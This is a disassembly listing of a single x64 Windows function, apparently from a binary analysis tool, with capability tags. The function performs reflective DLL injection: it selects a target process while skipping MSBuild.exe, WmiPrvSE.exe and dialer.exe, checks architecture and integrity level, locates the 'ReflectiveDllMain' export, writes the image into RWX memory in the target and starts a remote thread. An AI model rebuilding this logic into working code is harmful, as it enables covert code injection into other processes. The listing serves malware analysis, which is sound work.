Function at 0x1400010c0
Capabilities:
Allocate or change rwx memory
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x20], r9d
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4b0
mov eax, dword [0x140005010]
lea rdx, [rbp + 0x400]
mov rdi, qword [0x140005008]
mov r14d, ecx
mov dword [rsp + 0x60], eax
xor ebx, ebx
call fcn.1400019ac
test eax, eax
je 0x1400014c5
cmp dword [rbp + 0x400], ebx
je 0x1400014c5
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400014c5
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
mov r15d, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r13d, [rbx + 1]
mov r14, rax
test rax, rax
je 0x140001208
mov r9d, 0x104
lea r8, [rbp - 0x70]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1400011aa
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x104
ja 0x1400011aa
mov rdx, r12
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov r15d, r13d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140001208
lea rax, str.MSBuild.exe
mov r14d, ebx
mov qword [rsp + 0x70], rax
lea r15, [rsp + 0x70]
lea rax, str.WmiPrvSE.exe
mov qword [rsp + 0x78], rax
lea rax, str.dialer.exe
mov qword [rbp - 0x80], rax
mov rdx, qword [r15]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400014bc
add r14d, r13d
add r15, 8
cmp r14d, 3
jb 0x1400011e3
mov r9d, 4
mov qword [rsp + 0x20], rbx
lea r8, [rbp + 0x3f8]
mov rcx, rsi
lea edx, [r9 + 0x19]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x1400014bc
cmp dword [rbp + 0x3f8], ebx
jne 0x1400014bc
lea r8, [rsp + 0x68]
mov edx, 8
mov rcx, rsi
mov r12d, ebx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400014bc
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x400]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea r15d, [r9 + 0x19]
mov edx, r15d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1400012fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400012fc
mov edx, dword [rbp + 0x400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400012fc
mov r9d, dword [rbp + 0x400]
lea rax, [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov edx, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400012ea
mov rcx, qword [r14]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [r14]
movzx edx, byte [rax]
sub edx, r13d
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov r12d, r13d
mov r15d, dword [rax]
jmp 0x1400012f1
mov r15d, dword [rbp + 0x400]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001303
mov r15d, dword [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x1400014bc
cmp r15d, 0x2000
jb 0x1400014bc
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400014bc
mov ecx, 0x10b
cmp word [rax + rdi + 0x18], cx
je 0x1400014bc
mov ecx, 0x20b
cmp word [rax + rdi + 0x18], cx
jne 0x1400014bc
mov edx, dword [rax + rdi + 0x88]
mov rcx, rdi
call fcn.140002010
mov r13d, eax
mov rcx, rdi
add r13, rdi
mov edx, dword [r13 + 0x20]
call fcn.140002010
mov edx, dword [r13 + 0x24]
mov rcx, rdi
mov r14d, eax
add r14, rdi
call fcn.140002010
mov r15d, eax
mov r12d, ebx
add r15, rdi
cmp dword [r13 + 0x18], ebx
jbe 0x1400014bc
mov edx, dword [r14]
mov rcx, rdi
call fcn.140002010
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x1400013d3
add r14, 4
add r15, 2
inc r12d
cmp r12d, dword [r13 + 0x18]
jb 0x14000139b
jmp 0x1400014bc
mov edx, dword [r13 + 0x1c]
mov rcx, rdi
call fcn.140002010
movzx ecx, word [r15]
mov eax, eax
add rax, rdi
mov edx, dword [rax + rcx*4]
mov rcx, rdi
call fcn.140002010
mov r12d, eax
test eax, eax
je 0x1400014bc
mov r15d, dword [rsp + 0x60]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400014bc
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014bc
lea rax, [r14 + r12]
mov qword [rsp + 0x28], r14
mov r9, rsi
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rbx
call fcn.1400018f8
test eax, eax
js 0x1400014bc
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400014bc
cmp dword [rbp + 0x408], ebx
je 0x140001483
mov ebx, 1
jmp 0x1400014b6
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400014b1
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1400014b1
cmp dword [rbp + 0x400], ebx
setne bl
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x4f0]
add rsp, 0x4b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret